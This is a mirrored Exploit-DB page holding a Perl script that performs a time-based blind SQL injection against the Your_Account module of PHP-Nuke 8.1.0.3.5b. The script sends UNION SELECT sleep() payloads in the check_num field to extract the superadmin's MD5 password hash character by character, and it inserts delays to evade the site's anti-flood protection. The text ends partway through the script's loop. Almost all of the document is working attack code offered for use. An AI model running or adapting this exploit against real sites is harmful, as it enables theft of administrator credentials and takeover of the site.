PHP-Nuke 8.1.0.3.5b (Your_Account Module) – Blind SQL Injection (Benchmark Mode) - 体验盒子

作者： yawn

日期： 2010-07-10

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/14320/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

# PHP-Nuke <= 8.1.0.3.5b (Your_Account Module) Remote Blind SQL Injection (Benchmark Mode)

# Author: yawn

# Contact Me: http://www.unitx.net

# Requirements: magic_quotes_gpc : off

# Greetings: #0day@irc.iside.us | #Unit-X@irc.unitx.net | Dante90

# You will remember, Watson, how the dreadful business of the

# Abernetty family was first brought to my notice by the depth which the

# parsley had sunk into the butter upon a hot day.

# -- Sherlock Holmes

use strict;

use warnings;

use LWP::UserAgent;

sub Nuke::Bench {

my $hosto = $_;

my $website = LWP::UserAgent->new;

my $average = 0;

print "[+] Calculating average load time (may take a while) ...\n";

for (my $i = 0; $i < 5 ; $i++) {

my $bef = time();

my $out = $website->get($hosto);

my $time = time();

$average += int($time-$bef);

}

return $average/5;

}

sub Nuke::Usage() {

print "[+] Usage: perl nuke.pl <host>\n";

print "[+]the host must be the complete path to modules.php\n";

print "[+] Example: perl nuke.pl http://www.site.com/modules.php\n";

}

sub Nuke::Banner() {

print "[+] Remote Blind SQL Injection (Benchmark Mode) PHP-Nuke 8.1.0.3.5b\n";

print "[+] I'm not responsable for an illegal use of this exploit\n";

print "[+] Date: 06-02-2010\n";

print "[+] Author: yawn\n";

}

Nuke::Banner();

my $host = shift || die Nuke::Usage();

$host .= "?name=Your_Account&op=activate&username=WTF";

my $time = Nuke::Bench($host);

my $attack = LWP::UserAgent->new;

my $pass = "";

$attack->agent('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100407 Ubuntu/9.04 (jaunty) Shiretoko/3.5.9');

my @charset=(48..57, 97..102);

print "[+] Average load time is $time\n";

print "[+] Trying to exploit the SQL Injection\n";

for (my $j = 1; $j <=32; $j++) {

sleep(3); # PHP-Nuke has a special anti-flood system

foreach (@charset) {

sleep(2);

print "[+] Now trying with $_ \n";

my $before = time();

my $resp = $attack->post($host,

{ check_num => "'UNION/**/SELECT IF(SUBSTRING(pwd,$j,1) = CHAR($_),sleep(6),null),1,2,3,4,5,6 FROM nuke_authors WHERE radminsuper='1" },

Referer => $host);

my $after = time();

if(int($after-$before) > ($time + 4)) {

print "[+] Success with ".chr($_)."\n";

$pass .= chr($_);

last;

}

print "[+] MD5 Hash : $pass\n";